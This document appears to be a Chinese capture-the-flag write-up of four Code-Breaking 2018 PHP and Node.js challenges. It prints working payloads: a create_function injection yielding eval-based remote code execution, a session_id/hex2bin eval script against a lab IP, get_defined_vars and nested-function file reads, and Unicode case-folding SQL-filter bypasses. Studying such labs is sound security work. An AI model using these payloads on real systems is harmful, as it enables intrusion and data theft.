Code-Breaking Puzzles 2018

P牛在 2018 年出的题目,看了很多文章,对其涉及到的知识进行小结和补充。

题目地址:https://code-breaking.com/

easy-function

代码审计题,直接给了题目源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

首先是出现了一个不常见的 三元运算符 。查阅手册为 PHP7 新推出的表达式.简单概述应该就是 isset() + 三元表达式的结合体

大意是让我们通过 GET 型传两个参数

题目通过正则进行过滤 preg_match('/^[a-z0-9_]*$/isD', $action),要求不能完全由数字字母下划线组成

/i 不区分大小写
/s 匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[ \f\n\r\t\v]
/D 如果使用$限制结尾字符,则不允许结尾有换行

之后使用嵌套的方式 $action('', $arg); 执行传入的参数。熟悉命令执行的话不难想到 create_function 创建匿名函数来执行命令。

通常情况下 create_function 进行 RCE 的过程如下,其实是需要调用一次函数的。

trick:P牛圈子中: https://t.zsxq.com/VRfqRFe。 创建匿名函数的过程中闭合,从而达到 RCE

  1. 如果可控在第一个参数,需要闭合圆括号和大括号:create_function(‘){}phpinfo();//‘, ‘’);
  2. 如果可控在第二个参数,需要闭合大括号:create_function(‘’, ‘}phpinfo();//‘);

create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
return 111;}phpinfo();//
}

根据题目,第二个参数可控,因此闭合大括号 return "P2hm1n";}phpinfo();/* 来执行代码。

随后是 Bypass 正则。回顾正则要求我们不能完全由数字字母下划线组成。首先/D如果使用$限制结尾字符,则不允许结尾有换行,那么尝试一下在开头插入换行符。

可以bypass正则,但是不能执行命令,如果想既能 bypass 正则又能执行命令,那么就要了解 php 的 命名空间
命名空间概述

p牛有如下总结

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

最后找flag的位置进行读取即可,首先找flag位置

更改命令

最后读取文件

* ?action=\create_function
&arg=;}eval($_GET['cmd']);/*
&cmd=var_dump(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));

easy - pcrewaf

首先是正则知识点回顾

元字符

元字符 描述
. 句号匹配任意单个字符除了换行符。
[ ] 字符种类。匹配方括号内的任意字符。
[^ ] 否定的字符种类。匹配除了方括号里的任意字符
* 匹配>=0个重复的在*号之前的字符。
+ 匹配>=1个重复的+号前的字符。
? 标记?之前的字符为可选.
{n,m} 匹配num个大括号之间的字符 (n <= num <= m).
(xyz) 字符集,匹配与 xyz 完全相等的字符串.
竖线 或运算符,匹配符号前或后的字符.
\ 转义字符,用于匹配一些保留的字符 [ ] ( ) { } . * + ? ^ $ \ 竖线
^ 从开始行开始匹配.
$ 从末端开始匹配.

.是元字符中最简单的例子。 .匹配任意单个字符,但不匹配换行符。 例如,表达式.ar匹配一个任意字符后面跟着是a和r的字符串。

方括号的句号就表示句号。 表达式 ar[.] 匹配 ar.字符串

简写字符集

简写 描述
. 除换行符外的所有字符
\w 匹配所有字母数字,等同于 [a-zA-Z0-9_]
\W 匹配所有非字母数字,即符号,等同于: [^\w]
\d 匹配数字: [0-9]
\D 匹配非数字: [^\d]
\s 匹配所有空格字符,等同于: [\t\n\f\r\p{Z}]
\S 匹配所有非空格字符: [^\s]
\f 匹配一个换页符
\n 匹配一个换行符
\r 匹配一个回车符
\t 匹配一个制表符
\v 匹配一个垂直制表符
\p 匹配 CR/LF(等同于 \r\n),用来匹配 DOS 行终止符

核心考点: p牛专门写了一篇文章来讲解:PHP利用PCRE回溯次数限制绕过某些安全限制

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit

easy - phplimit

通过正则表达式进行过滤:
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

正则表达式分析
[^\W] 等价 \w

匹配括号
\( ... \)

而 (?R) 则是 DEELX 正则表达式扩展语法 中的递归表达式 , 表示递归引用整个模式
(?R)?

php递归模式:https://www.php.net/manual/zh/regexp.reference.recursive.php

综上所述:我们输入的code的值只能为 fuc1(func2(func3(…))) 这种类型。

不能加参数,否则经过正则替换之后 无法与 ; 进行强等于比较

  • 法一: Apache函数

php 中 apache 手册: https://www.php.net/manual/zh/book.apache.php
Apache下 可以使用的函数

getallheaders()
file_get_contents(array_pop(apache_request_headers()))

apache环境下进行测试
先使用 var_dump()getallheaders() 成功返回了http header,我们可以在header中做一些自定义的手段。

翻数组的手册: https://www.php.net/manual/zh/ref.array.php

那么可以进一步利用http header的 自定义属性进行rce

  • 法二: session_id()

session_id() 可以用来获取/设置当前会话 ID。

限制文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号

突破:16进制转换

eval(hex2bin(session_id())); 即可执行任意命令

payload

import requests
url = 'http://39.96.13.114:8084/index.php?code=eval(hex2bin(session_id(session_start())));'
payload = "var_dump(scandir('./'));".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print(r.content)

法三: get_defined_vars()

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

$_GET
$_POST
$_FILES
$_COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE

?code=eval(end(current(get_defined_vars())));&a=phpinfo();

  • 法四: 各种函数嵌套

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

函数解释

getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile() 输出一个文件

current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串

getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)

easy - nodechr

源码在 /source ,node.js 的题目

没有深入学习过 node.js 但是代码好歹还是通俗易懂

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

直接定位 sql语句相关代码,usernamepassword 在插入数据库执行之前经过一个 safeKeyword 函数处理。跟进函数定义

function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

函数过滤了 unionselect;--

相应的 trick 在 p牛 的blog Fuzz中的javascript大小写特性

"unıon".toUpperCase() == "UNION"
"ſelect".toUpperCase() == "SELECT"

参考文章

https://skysec.top/
https://xz.aliyun.com/t/3623

HITCON三题递进PHP反序列化 360网络安全职业认证 - CSSJ
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×